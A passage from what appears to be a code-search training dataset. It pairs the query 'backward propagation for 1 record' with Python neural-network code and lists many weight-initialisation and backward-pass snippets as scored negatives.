self.weights.append(np.random.uniform(-1,1,(self.dimensions[i],dim)))\\n self.bias.append(np.random.uniform(-1,1,dim))\",\n \"def _init_weights(n_rows, n_cols, std_dev=0.5):\\n weights = np.random.randn(n_rows, n_cols) * std_dev\\n return weights\",\n \"def init_weights(self):\\n self.embedding.weight.data.uniform_(-0.1, 0.1)\\n self.word.bias.data.fill_(0)\\n self.word.weight.data.uniform_(-0.1, 0.1)\",\n \"def init_weights(self) -> None:\\n self.fc.bias.data.fill_(0)\\n self.fc.weight.data.uniform_(-0.1, 0.1)\",\n \"def initializeDistribution(self):\\n self.convertToDistrDict['Legendre'] = self.convertLegendreToUniform\\n self.convertToQuadDict ['Legendre'] = self.convertUniformToLegendre\\n self.measureNormDict ['Legendre'] = self.stdProbabilityNorm\\n self.convertToDistrDict['ClenshawCurtis'] = self.convertLegendreToUniform\\n self.convertToQuadDict ['ClenshawCurtis'] = self.convertUniformToLegendre\\n self.measureNormDict ['ClenshawCurtis'] = self.stdProbabilityNorm\\n self._distribution = distribution1D.BasicUniformDistribution(self.lowerBound,self.lowerBound+self.range)\",\n \"def _random_weight_initialization(self, mean=0, stddev=1):\\n self.slp_weights = np.random.normal(mean, stddev, size=(self.n_rbfs, self.n_targets))\",\n \"def init_weights(self, init_w=3e-3):\\n self.l3.weight.data.uniform_(-init_w, init_w)\\n self.l3.bias.data.uniform_(-init_w, init_w)\",\n \"def init_weights(self, init_w=3e-3):\\n self.l3.weight.data.uniform_(-init_w, init_w)\\n self.l3.bias.data.uniform_(-init_w, init_w)\",\n \"def init_weights(self):\\n r = np.sqrt(6.) / np.sqrt(self.fc.in_features +\\n self.fc.out_features)\\n self.fc.weight.data.uniform_(-r, r)\\n self.fc.bias.data.fill_(0)\",\n \"def init_weights(self):\\n r = np.sqrt(6.) / np.sqrt(self.fc.in_features +\\n self.fc.out_features)\\n self.fc.weight.data.uniform_(-r, r)\\n self.fc.bias.data.fill_(0)\",\n \"def initializeDistribution(self):\\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\\n self._distribution = distribution1D.BasicLogNormalDistribution(self.mean,self.sigma,self.low)\\n self.lowerBound = 0.0\\n self.upperBound = sys.float_info.max\\n else:\\n if self.lowerBoundUsed == False:\\n self.lowerBound = self.low\\n if self.upperBoundUsed == False:\\n self.upperBound = sys.float_info.max\\n self._distribution = distribution1D.BasicLogNormalDistribution(self.mean,self.sigma,self.lowerBound,self.upperBound, self.low)\",\n \"def init_parameters(self):\\n stdv = 1. / math.sqrt(self.weight.data.size(1))\\n self.weight.data.uniform_(-stdv, stdv)\\n if self.bias is not None:\\n self.bias.data.uniform_(-stdv, stdv)\",\n \"def init_weights(self):\\r\\n constant_init(self.sampling_offsets, 0.)\\r\\n thetas = torch.arange(\\r\\n self.num_heads,\\r\\n dtype=torch.float32) * (2.0 * math.pi / self.num_heads)\\r\\n grid_init = torch.stack([thetas.cos(), thetas.sin()], -1)\\r\\n grid_init = (grid_init /\\r\\n grid_init.abs().max(-1, keepdim=True)[0]).view(\\r\\n self.num_heads, 1, 1,\\r\\n 2).repeat(1, self.num_levels, self.num_points, 1)\\r\\n for i in range(self.num_points):\\r\\n grid_init[:, :, i, :] *= i + 1\\r\\n\\r\\n self.sampling_offsets.bias.data = grid_init.view(-1)\\r\\n constant_init(self.attention_weights, val=0., bias=0.)\\r\\n xavier_init(self.value_proj, distribution='uniform', bias=0.)\\r\\n xavier_init(self.output_proj, distribution='uniform', bias=0.)\\r\\n self._is_init = True\",\n \"def __init__(self, n_upper, n, activation=sigmoid):\\n self.w = wb_width * np.random.randn(n_upper, n)\\n self.b = wb_width * np.random.random(n)\",\n \"def initializeDistribution(self):\\n if (self.lowerBoundUsed == False and self.upperBoundUsed == False):\\n self._distribution = distribution1D.BasicExponentialDistribution(self.lambdaVar,self.low)\\n self.lowerBound = self.low\\n self.upperBound = sys.float_info.max\\n else:\\n if self.lowerBoundUsed == False:\\n self.lowerBound = self.low\\n if self.upperBoundUsed == False:\\n self.upperBound = sys.float_info.max\\n self._distribution = distribution1D.BasicExponentialDistribution(self.lambdaVar,self.lowerBound,self.upperBound,self.low)\",\n \"def init_weights(self):\\r\\n self.embedding.weight.data.uniform_(-0.1, 0.1)\\r\\n self.fc.bias.data.fill_(0)\\r\\n self.fc.weight.data.uniform_(-0.1, 0.1)\",\n \"def init_weights(self):\\n self.embedding.weight.data.uniform_(-0.1, 0.1)\\n self.fc.bias.data.fill_(0)\\n self.fc.weight.data.uniform_(-0.1, 0.1)\",\n \"def init_weights(self):\\n self.embedding.weight.data.uniform_(-0.1, 0.1)\\n self.fc.bias.data.fill_(0)\\n self.fc.weight.data.uniform_(-0.1, 0.1)\",\n \"def init_weights(self):\\n self.embedding.weight.data.uniform_(-0.1, 0.1)\\n self.fc.bias.data.fill_(0)\\n self.fc.weight.data.uniform_(-0.1, 0.1)\",\n \"def _base_dist(self, *args, **kwargs):\\n return tfd.TransformedDistribution(\\n distribution=tfd.Uniform(low=0.0, high=1.0),\\n bijector=tfp.bijectors.Invert(tfp.bijectors.Weibull(*args, **kwargs)),\\n name=\\\"Weibull\\\",\\n )\",\n \"def init_weight(self):\\r\\n xavier_init(self.output_proj, distribution='uniform', bias=0.)\",\n \"def Winit(Weightinit):\\n\\n DicWinit = {'LecunNormal':tf.keras.initializers.lecun_normal(seed=None),\\n 'LecunUniform':tf.keras.initializers.lecun_uniform(seed=None),\\n 'GlorotNormal':tf.keras.initializers.GlorotNormal(seed=None),\\n 'GlorotUniform':tf.keras.initializers.GlorotUniform(seed=None),\\n 'HeNormal':tf.keras.initializers.he_normal(seed=None),\\n 'HeUniform':tf.keras.initializers.he_uniform(seed=None)}\\n return DicWinit[Weightinit]\",\n \"def he_weights_initialization(shape):\\n w = np.random.randn(shape[0], shape[1]) * np.sqrt(2 / shape[1])\\n return w\",\n \"def he_uniform(seed=None):\\n # pylint: disable=line-too-long\\n # pylint: enable=line-too-long\\n return lambda shape, dtype, batch_ndims=0: _initialize( # pylint: disable=g-long-lambda\\n shape, dtype, batch_ndims,\\n scale=2., mode='fan_in', distribution='uniform', seed=seed)\",\n \"def initializeDistribution(self):\\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\\n self._distribution = distribution1D.BasicBinomialDistribution(self.n,self.p)\\n else:\\n self.raiseAnError(IOError,'Truncated Binomial not yet implemented')\",\n \"def initializeDistribution(self):\\n if self.lowerBoundUsed == False:\\n self.lowerBound = -sys.float_info.max\\n if self.upperBoundUsed == False:\\n self.upperBound = sys.float_info.max\\n self._distribution = distribution1D.BasicLaplaceDistribution(self.location,self.scale,self.lowerBound,self.upperBound)\",\n \"def initializeDistribution(self):\\n if (self.lowerBoundUsed == False and self.upperBoundUsed == False) or (self.min == self.lowerBound and self.max == self.upperBound):\\n self._distribution = distribution1D.BasicTriangularDistribution(self.apex,self.min,self.max)\\n else:\\n self.raiseAnError(IOError,'Truncated triangular not yet implemented')\",\n \"def __init__(self, n_in, n_out):\\n self.W = np.random.randn(n_in, n_out) * 0.1\\n self.b = np.zeros(n_out)\",\n \"def default_weight_initializer(self):\\n self.biases = [np.random.randn(y, 1) for y in self.sizes[1:]]\\n self.weights = [np.random.randn(y, x)/np.sqrt(x)\\n for x, y in zip(self.sizes[:-1], self.sizes[1:])]\",\n \"def init_weight(self):\\n init_bn(self.norm0)\",\n \"def init_params(self, scale=1e-4):\\n if self.add_bias:\\n self.bias = self.Y.mean(0)[np.newaxis,:]\\n self.W = np.random.normal(scale=scale, size=(self.X.shape[1],self.Y.shape[1]))\",\n \"def initialize(self, optimizer):\\n limit = 1 / math.sqrt(self.input_shape[0])\\n self.W = np.random.uniform(-limit, limit, (self.input_shape[0], self.units)) # TODO check limits\\n self.b = np.zeros((1, self.units))\\n\\n self.W_optimizer = copy.copy(optimizer)\\n self.b_optimizer = copy.copy(optimizer)\",\n \"def glorot(w):\\n n_in, n_out = w.size()\\n b = math.sqrt(6) / math.sqrt(n_in + n_out)\\n return w.uniform_(-b, b)\",\n \"def initialize_weights(self):\\n w1 = np.random.uniform(-1.0, 1.0, size = self.n_hidden * (self.n_features + 1)).reshape(self.n_hidden, (self.n_features + 1))/(self.n_features + 1)\\n w2 = np.random.uniform(-1.0, 1.0, size=self.n_output*(self.n_hidden+1)).reshape(self.n_output, self.n_hidden+ 1)/(self.n_hidden + 1)\\n return w1, w2\",\n \"def initializeDistribution(self):\\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\\n self._distribution = distribution1D.BasicBernoulliDistribution(self.p)\\n else:\\n self.raiseAnError(IOError,'Truncated Bernoulli not yet implemented')\",\n \"def random_weights_init(self, data):\\n self.check_input_dimension(data)\\n for i in range(self.y_axis):\\n for j in range(self.x_axis):\\n rand_i = self.random_generator.randint(len(data))\\n self.weights[i][j] = data[rand_i]\",\n \"def initializeDistribution(self):\\n self.minVal = min(math.exp(self.upperBound),math.exp(self.lowerBound))\\n self.maxVal = max(math.exp(self.upperBound),math.exp(self.lowerBound))\",\n \"def uniform_weights(n):\\n return np.ones((n, 1)) / n\",\n \"def weights_init(m):\\n if type(m) == torch.nn.Linear:\\n m.weight.data.normal_(0.0, 0.02)\\n m.bias.data.fill_(0)\",\n \"def init_weights(self) -> None:\\n nn.init.kaiming_normal_(self._U)\\n nn.init.kaiming_normal_(self._W)\\n nn.init.kaiming_normal_(self._V)\\n\\n nn.init.normal_(self._b)\",\n \"def initializeDistribution(self):\\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\\n self._distribution = distribution1D.BasicPoissonDistribution(self.mu)\\n self.lowerBound = 0.0\\n self.upperBound = sys.float_info.max\\n else:\\n self.raiseAnError(IOError,'Truncated poisson not yet implemented')\",\n \"def initializeDistribution(self):\\n self.convertToDistrDict['Laguerre'] = self.convertLaguerreToGamma\\n self.convertToQuadDict ['Laguerre'] = self.convertGammaToLaguerre\\n self.measureNormDict ['Laguerre'] = self.stdProbabilityNorm\\n if (not self.upperBoundUsed):\\n # and (not self.lowerBoundUsed):\\n self._distribution = distribution1D.BasicGammaDistribution(self.alpha,1.0/self.beta,self.low)\\n #self.lowerBoundUsed = 0.0\\n self.upperBound = sys.float_info.max\\n self.preferredQuadrature = 'Laguerre'\\n self.preferredPolynomials = 'Laguerre'\\n else:\\n self.preferredQuadrature = 'CDF'\\n self.preferredPolynomials = 'Legendre'\\n if self.lowerBoundUsed == False:\\n a = 0.0\\n self.lowerBound = a\\n else:\\n a = self.lowerBound\\n if self.upperBoundUsed == False:\\n b = sys.float_info.max\\n self.upperBound = b\\n else:\\n b = self.upperBound\\n self._distribution = distribution1D.BasicGammaDistribution(self.alpha,1.0/self.beta,self.low,a,b)\",\n \"def _u_naught_simple(self):\\n # Random is better to give different multipliers in the subgradient phase\\n return np.random.rand(self.mrows)*1.\",\n \"def init_weights(self):\\n r = np.sqrt(6.) / np.sqrt(self.fc1.in_features +\\n self.fc1.out_features)\\n self.fc1.weight.data.uniform_(-r, r)\\n self.fc1.bias.data.fill_(0)\\n r = np.sqrt(6.) / np.sqrt(self.fc2.in_features +\\n self.fc2.out_features)\\n self.fc2.weight.data.uniform_(-r, r)\\n self.fc2.bias.data.fill_(0)\",\n \"def deltaW(N, m, h):\\n return np.random.normal(0., np.sqrt(h), (N, m))\\n # return levy.rvs(0., 1e-11, (N, m))+np.random.normal(0., np.sqrt(h), (N, m)) #levy distribution\\n # return cauchy.rvs(0., 1e-4, (N, m)) #Cauchy distribution\",\n \"def initializeWeights(n_in,n_out):\\r\\n \\r\\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\\r\\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\\r\\n return W\",\n \"def initializeWeights(n_in,n_out):\\r\\n \\r\\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\\r\\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\\r\\n return W\",\n \"def initialize_direction(self):\\n\\n self.mu = 2. * np.random.rand(1)[0] - 1.\",\n \"def initializeWeights(n_in,n_out):\\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\\n return W\",\n \"def initializeWeights(n_in,n_out):\\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\\n return W\",\n \"def initializeWeights(n_in,n_out):\\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\\n return W\",\n \"def layer_weight_init(self, size):\\n # TODO: make smarter init\\n return np.random.uniform(size=size)\",\n \"def _init_weights(self):\\n nn.init.xavier_normal_(self.out.weight)\",\n \"def initSamples(self):\\n # Define this (note random.uniform is helpful here!)\\n for i in range(self.numParticles):\\n # Create particles uniformly and generate same weights for all particles.\\n particle = random.uniform(self.minValue, self.maxValue)\\n self.samples.append(particle)\\n self.weights.append(1/self.numParticles)\",\n \"def get_random_uniform_fill(n_units, input_distributions, volume_factor=3, wid=None):\\n if wid is None:\\n vol = np.product(\\n list(np.diff(distr.interval(1)) for distr in input_distributions)\\n )\\n wid = volume_factor * vol / n_units\\n means_all = np.zeros((n_units, len(input_distributions)))\\n wids_all = np.ones((n_units, len(input_distributions))) * (wid**2)\\n for i, distr in enumerate(input_distributions):\\n means_all[:, i] = distr.rvs(n_units)\\n return means_all, wids_all\",\n \"def initializeWeights(n_in,n_out):\\n \\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\\n return W\",\n \"def initializeDistribution(self):\\n self.checkDistParams()\\n\\n self.lowerBound = min(self.mapping.keys())\\n self.upperBound = max(self.mapping.keys())\",\n \"def weightGenerate(self):\\n\\t\\tfor i in range(0, self.numberOfInput):\\n\\t\\t\\tself.weight.append(random.random()-0.5)\",\n \"def setWeightInitializer(self,weights):\\n self.init_w = weights\",\n \"def glorot_uniform(seed=None):\\n return lambda shape, dtype, batch_ndims=0: _initialize( # pylint: disable=g-long-lambda\\n shape, dtype, batch_ndims,\\n scale=1., mode='fan_avg', distribution='uniform', seed=seed)\",\n \"def init_embedding(self):\\n self.embedding.weight.data.uniform_(-1./self.num_embeddings, 1./self.num_embeddings)\",\n \"def reset_parameters(self, bias):\\n logger.info('===== Initialize %s with Xavier uniform distribution =====' % self.__class__.__name__)\\n nn.init.xavier_uniform_(self.w_key.weight, gain=1 / math.sqrt(2))\\n nn.init.xavier_uniform_(self.w_value.weight, gain=1 / math.sqrt(2))\\n nn.init.xavier_uniform_(self.w_query.weight, gain=1 / math.sqrt(2))\\n if bias:\\n nn.init.constant_(self.w_key.bias, 0.0)\\n nn.init.constant_(self.w_value.bias, 0.0)\\n nn.init.constant_(self.w_query.bias, 0.0)\\n nn.init.xavier_uniform_(self.w_out.weight)\\n if bias:\\n nn.init.constant_(self.w_out.bias, 0.0)\\n if self.xl_like:\\n nn.init.xavier_uniform_(self.w_pos.weight)\\n if bias:\\n nn.init.constant_(self.w_pos.bias, 0.0)\",\n \"def init_unif(sz):\\n bnd = 1 / sqrt(sz[0])\\n p = uniform(low=-bnd, high=bnd, size=sz)\\n return squeeze(p)\",\n \"def initializeDistribution(self):\\n if self.functionType == 'CDF':\\n self._distribution = distribution1D.BasicMultiDimensionalInverseWeight(str(self.dataFilename), self.p,True)\\n else:\\n self._distribution = distribution1D.BasicMultiDimensionalInverseWeight(str(self.dataFilename), self.p,False)\\n self.dimensionality = self._distribution.returnDimensionality()\\n self.lowerBound = [self.returnLowerBound(dim) for dim in range(self.dimensionality)]\\n self.upperBound = [self.returnUpperBound(dim) for dim in range(self.dimensionality)]\",\n \"def W_init(shape, name=None):\\n values = rng.normal(loc=0, scale=1e-2, size=shape)\\n return K.variable(values, name=name)\",\n \"def initializeDistribution(self):\\n self.convertToDistrDict['Jacobi'] = self.convertJacobiToBeta\\n self.convertToQuadDict ['Jacobi'] = self.convertBetaToJacobi\\n self.measureNormDict ['Jacobi'] = self.stdProbabilityNorm\\n #this \\\"if\\\" section can only be called if distribution not generated using readMoreXML\\n if (not self.upperBoundUsed) and (not self.lowerBoundUsed):\\n self._distribution = distribution1D.BasicBetaDistribution(self.alpha,self.beta,self.high-self.low,self.low)\\n else:\\n if self.lowerBoundUsed == False:\\n a = 0.0\\n else:\\n a = self.lowerBound\\n if self.upperBoundUsed == False:\\n b = sys.float_info.max\\n else:\\n b = self.upperBound\\n self._distribution = distribution1D.BasicBetaDistribution(self.alpha,self.beta,self.high-self.low,a,b,self.low)\\n self.preferredPolynomials = 'Jacobi'\\n self.compatibleQuadrature.append('Jacobi')\\n self.compatibleQuadrature.append('ClenshawCurtis')\",\n \"def initializeDistribution(self):\\n self.convertToDistrDict['Hermite'] = self.convertHermiteToNormal\\n self.convertToQuadDict ['Hermite'] = self.convertNormalToHermite\\n self.measureNormDict ['Hermite'] = self.stdProbabilityNorm\\n if (not self.upperBoundUsed) and (not self.lowerBoundUsed):\\n self._distribution = distribution1D.BasicNormalDistribution(self.mean,\\n self.sigma)\\n self.lowerBound = -sys.float_info.max\\n self.upperBound = sys.float_info.max\\n self.preferredQuadrature = 'Hermite'\\n self.preferredPolynomials = 'Hermite'\\n else:\\n self.preferredQuadrature = 'CDF'\\n self.preferredPolynomials = 'Legendre'\\n if self.lowerBoundUsed == False:\\n a = -sys.float_info.max\\n self.lowerBound = a\\n else:\\n a = self.lowerBound\\n if self.upperBoundUsed == False:\\n b = sys.float_info.max\\n self.upperBound = b\\n else:\\n b = self.upperBound\\n self._distribution = distribution1D.BasicNormalDistribution(self.mean,\\n self.sigma,\\n a,b)\",\n \"def _initialize_weights(self, m):\\n self.w_ = np.zeros(1 + m)\\n self.w_initialized = True\",\n \"def _initialize_weights(self, m):\\n self.w_ = np.zeros(1 + m)\\n self.w_initialized = True\",\n \"def _initialize_weights(self, m):\\n self.w_ = np.zeros(1 + m)\\n self.w_initialized = True\",\n \"def initializeDistribution(self):\\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\\n self._distribution = distribution1D.BasicGeometricDistribution(self.p)\\n else: self.raiseAnError(IOError,'Truncated Geometric not yet implemented')\",\n \"def initialize(self):\\n#TODO: choose user defined START position\\n values_type = np.dtype(float)\\n self.visual_field = np.zeros(self.number_of_locs, dtype=values_type)\\n self.weighted_sums = np.zeros(self.number_of_locs, dtype=values_type)\\n self.prior_prob = 1.0 / np.prod(self.number_of_locs)\\n self.post_probs = np.full(\\n self.number_of_locs, self.prior_prob, dtype=values_type\\n )\\n starting_location = np.array(START)\\n self.focus = get_index_of_in(starting_location,self.senzory_map)\\n self.target_location = [\\n x for x in xrange(self.number_of_locs) if x != self.focus\\n ][random.randint(0,self.number_of_locs-2)]\",\n \"def reset_parameters_xavier_uniform(self, bias):\\n logger.info('===== Initialize %s with Xavier uniform distribution =====' % self.__class__.__name__)\\n nn.init.xavier_uniform_(self.w_value.weight, gain=1 / math.sqrt(2))\\n if bias:\\n nn.init.constant_(self.w_value.bias, 0.0)\\n nn.init.xavier_uniform_(self.w_out.weight)\\n if bias:\\n nn.init.constant_(self.w_out.bias, 0.0)\",\n \"def init_weights(self):\\n\\n r = np.sqrt(1.) / np.sqrt(self.fc3.in_features +\\n self.fc3.out_features)\\n self.fc3.weight.data.uniform_(-r, r)\\n self.fc3.bias.data.fill_(0)\\n r = np.sqrt(1.) / np.sqrt(self.fc2.in_features +\\n self.fc2.out_features)\\n self.fc2.weight.data.uniform_(-r, r)\\n self.fc2.bias.data.fill_(0)\\n r = np.sqrt(1.) / np.sqrt(self.fc1.in_features +\\n self.fc1.out_features)\\n self.fc1.weight.data.uniform_(-r, r)\\n self.fc1.bias.data.fill_(0)\",\n \"def init_params_weight(row,column):\\n W = np.random.rand(row, column)\\n W = W*2.0-1.0\\n return W.astype(config.floatX) # @UndefinedVariable\",\n \"def initialize_weights(self, n_features, random=True):\\n\\t\\tif random:\\n\\t\\t\\tlimit = 1 / math.sqrt(n_features)\\n\\t\\t\\tself.weights = np.random.uniform(-limit, limit, (n_features, ))\\n\\t\\telse:\\n\\t\\t\\tself.weights = np.zeros(n_features)\",\n \"def initialize_weights(self, seed=None):\\r\\n if seed!=None:\\r\\n np.random.seed(seed)\\r\\n self.weights = np.random.randn(self.number_of_nodes,self.input_dimensions)\",\n \"def xavier_weight_init(shape):\\n lim = np.sqrt(6. / sum(shape))\\n out = np.random.uniform(-lim, lim, shape)\\n\\n return out\",\n \"def initialize_weights_xavier(self):\\n\\t\\tself.weights = [np.random.uniform(-1/sqrt(size1), 1/sqrt(size1)) for size1, size2 in zip(self.sizes[:-1], self.sizes[1:])]\\n\\t\\tself.biases = [np.zeros([size, ]) for size in self.sizes[1:]]\",\n \"def init_weights_(self):\\n raise NotImplementedError\",\n \"def initialize_parameters(self):\\n for i in range(1, self.L):\\n self.W[i - 1] = np.random.randn(self.layer_dims[i], self.layer_dims[i - 1]) * 0.01\\n self.b[i - 1] = np.zeros((self.layer_dims[i], 1))\",\n \"def realize(self):\\n if numpy.random.rand() > self._P:\\n self._w *= 0.0\",\n \"def _update_w(self, idx):\\n self.w = ((self._w - 0.4) * (self._generations - idx)) /\\\\\\n (self._generations + 0.4)\",\n \"def random_weights_init(self, data):\\n self._check_input_len(data)\\n it = nditer(self._activation_map, flags=['multi_index'])\\n while not it.finished:\\n rand_i = self._random_generator.randint(len(data))\\n self._weights[it.multi_index] = data[rand_i]\\n it.iternext()\",\n \"def _generate_weights(self):\\n weights = [random.uniform(0, 1) for x in range(self.num_weights)]\\n return self._normalize_weights(weights)\",\n \"def init_weights(self):\\n # Initialize weights\\n self.apply(self._init_weights)\",\n \"def rand_init_weights(L_in, L_out):\\n W = zeros((L_out, 1 + L_in), float64) # plus 1 for bias term\\n epsilon_init = sqrt(6) / sqrt((L_in + 1) + L_out)\\n\\n W = uniform(size=(L_out, 1 + L_in)) * 2 * epsilon_init - epsilon_init\\n return W\",\n \"def generate_start_w0(columns_num):\\n start_w0 = [uniform(-1, 1.) for _ in range(columns_num)]\\n norm_start_w0 = start_w0 / np.linalg.norm(start_w0)\\n return norm_start_w0\",\n \"def reset_parameters(self, bias):\\n logger.info('===== Initialize %s with Xavier uniform distribution =====' % self.__class__.__name__)\\n nn.init.xavier_uniform_(self.w_key.weight, gain=1 / math.sqrt(2))\\n nn.init.xavier_uniform_(self.w_value.weight, gain=1 / math.sqrt(2))\\n nn.init.xavier_uniform_(self.w_query.weight, gain=1 / math.sqrt(2))\\n if bias:\\n nn.init.constant_(self.w_key.bias, 0.0)\\n nn.init.constant_(self.w_value.bias, 0.0)\\n nn.init.constant_(self.w_query.bias, 0.0)\\n nn.init.xavier_uniform_(self.w_out.weight)\\n if bias:\\n nn.init.constant_(self.w_out.bias, 0.0)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.75663126","0.75101614","0.7399138","0.7150266","0.7104282","0.6855432","0.6811932","0.680855","0.68040025","0.67960006","0.6785514","0.6735542","0.6665591","0.6612042","0.66110617","0.66074973","0.660375","0.66020495","0.66020495","0.6600997","0.6600997","0.6567559","0.654384","0.6504935","0.65046626","0.6502438","0.6486876","0.64670134","0.64670134","0.64670134","0.6434406","0.6429125","0.6420625","0.6368284","0.6344087","0.6343455","0.63349384","0.62765443","0.62652606","0.6259512","0.62312704","0.62135804","0.6210537","0.6207964","0.6191505","0.6178781","0.6175211","0.6151544","0.61491454","0.6138448","0.61210036","0.6117381","0.6114989","0.61052054","0.6091956","0.60902804","0.60746855","0.60746855","0.6055312","0.6051997","0.6051997","0.6051997","0.60493267","0.6046406","0.6029505","0.60231984","0.601957","0.6019124","0.6009562","0.60008705","0.5999204","0.5993677","0.5991433","0.5987255","0.5977035","0.5972678","0.59697706","0.59688395","0.5967989","0.5967989","0.5967989","0.595894","0.5958531","0.5955347","0.5948994","0.59447896","0.5941486","0.59191906","0.59186584","0.5916648","0.5912491","0.5910555","0.58981717","0.58938587","0.5880252","0.5870472","0.5869799","0.58646554","0.5860138","0.58582944"],"string":"[\n \"0.75663126\",\n \"0.75101614\",\n \"0.7399138\",\n \"0.7150266\",\n \"0.7104282\",\n \"0.6855432\",\n \"0.6811932\",\n \"0.680855\",\n \"0.68040025\",\n \"0.67960006\",\n \"0.6785514\",\n \"0.6735542\",\n \"0.6665591\",\n \"0.6612042\",\n \"0.66110617\",\n \"0.66074973\",\n \"0.660375\",\n \"0.66020495\",\n \"0.66020495\",\n \"0.6600997\",\n \"0.6600997\",\n \"0.6567559\",\n \"0.654384\",\n \"0.6504935\",\n \"0.65046626\",\n \"0.6502438\",\n \"0.6486876\",\n \"0.64670134\",\n \"0.64670134\",\n \"0.64670134\",\n \"0.6434406\",\n \"0.6429125\",\n \"0.6420625\",\n \"0.6368284\",\n \"0.6344087\",\n \"0.6343455\",\n \"0.63349384\",\n \"0.62765443\",\n \"0.62652606\",\n \"0.6259512\",\n \"0.62312704\",\n \"0.62135804\",\n \"0.6210537\",\n \"0.6207964\",\n \"0.6191505\",\n \"0.6178781\",\n \"0.6175211\",\n \"0.6151544\",\n \"0.61491454\",\n \"0.6138448\",\n \"0.61210036\",\n \"0.6117381\",\n \"0.6114989\",\n \"0.61052054\",\n \"0.6091956\",\n \"0.60902804\",\n \"0.60746855\",\n \"0.60746855\",\n \"0.6055312\",\n \"0.6051997\",\n \"0.6051997\",\n \"0.6051997\",\n \"0.60493267\",\n \"0.6046406\",\n \"0.6029505\",\n \"0.60231984\",\n \"0.601957\",\n \"0.6019124\",\n \"0.6009562\",\n \"0.60008705\",\n \"0.5999204\",\n \"0.5993677\",\n \"0.5991433\",\n \"0.5987255\",\n \"0.5977035\",\n \"0.5972678\",\n \"0.59697706\",\n \"0.59688395\",\n \"0.5967989\",\n \"0.5967989\",\n \"0.5967989\",\n \"0.595894\",\n \"0.5958531\",\n \"0.5955347\",\n \"0.5948994\",\n \"0.59447896\",\n \"0.5941486\",\n \"0.59191906\",\n \"0.59186584\",\n \"0.5916648\",\n \"0.5912491\",\n \"0.5910555\",\n \"0.58981717\",\n \"0.58938587\",\n \"0.5880252\",\n \"0.5870472\",\n \"0.5869799\",\n \"0.58646554\",\n \"0.5860138\",\n \"0.58582944\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.71774215"},"document_rank":{"kind":"string","value":"3"}}},{"rowIdx":14498,"cells":{"query":{"kind":"string","value":"backward propagation for 1 record."},"document":{"kind":"string","value":"def backward_prop(self, xs, scores, y):\n deltas = []\n # output layer\n # print xs[-1].shape\n #assert(xs[-1].shape == ())\n #assert(scores[-1].shape == ())\n\n deltas = []\n delta_L = -2 * (y - xs[-1]) * d_tanh(xs[-1])\n # use reverse order first. reverse in the end\n deltas.append(delta_L)\n\n for layer_idx in range(self.n_layer - 1, 0, -1):\n prev_layer_idx = layer_idx - 1\n w = self.ws[prev_layer_idx]\n x = xs[prev_layer_idx]\n no_bias_w = w[1:, ]\n delta = deltas[-1]\n #print\n #print no_bias_w.shape\n #print delta.shape\n #print x.shape\n #print \n prev_delta = np.dot(no_bias_w, delta) * d_tanh(x)\n deltas.append(prev_delta)\n\n deltas.reverse()\n return deltas"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def backward(self, top, propagate_down, bottom):\n\t\tpass","def backward(self, top, propagate_down, bottom):\r\n pass","def backward(self):\n raise NotImplementedError","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self, top, propagate_down, bottom):\n pass","def backward(self):\n raise NotImplemented","def backward(self):\n raise NotImplemented","def backward(self):\n raise NotImplemented","def backward(self, top, propagate_down, bottom):\n for ib in range(2):\n if not propagate_down[ib]:\n continue\n ndim = bottom[0].data.shape\n count = ndim[0] * ndim[2] * ndim[3]\n if not self.count:\n bottom[ib].diff[ ... ] = np.zeros_like( bottom[0].data )\n continue\n if top[0].data < 1.\n bottom[ib].diff[ ... ] = np.abs( bottom[0].data - bottom[1].data )\n bottom[ib].diff[ ... ] *= ( 1 - 1.0*self.iter/self.maxiter )\n else:\n bottom[ib].diff[ ... ] = np.ones_like( bottom[ib].data )\n inop = bottom[0].data < bottom[1].data\n bottom[ib].diff[ inop ] *= -1\n \n # ingore false label and repair\n ignore = bottom[1].data <= 0.\n count -= np.sum(ignore)\n bottom[ib].diff[ignore] = 0.\n #normlist\n bottom[ib].diff[...] /= count","def backward(self) -> np.ndarray:\n # TODO\n return None","def backward_pass(self, grad):\n pass","def forward_backward(self, x):\n raise NotImplementedError()","def propagate_backward(self, AL, Y):\n L = len(self.caches)\n Y = Y.reshape(AL.shape)\n dAL = - (np.divide(Y, AL) - np.divide(1 - Y, 1 - AL))\n cache = self.caches[L - 1]\n self.dA[L - 1], self.dW[L - 1], self.db[L - 1] = self.linear_backward(sigmoid_backward(dAL, cache[1]), cache[0])\n for i in reversed(range(L - 1)):\n cache = self.caches[i]\n self.dA[i], self.dW[i], 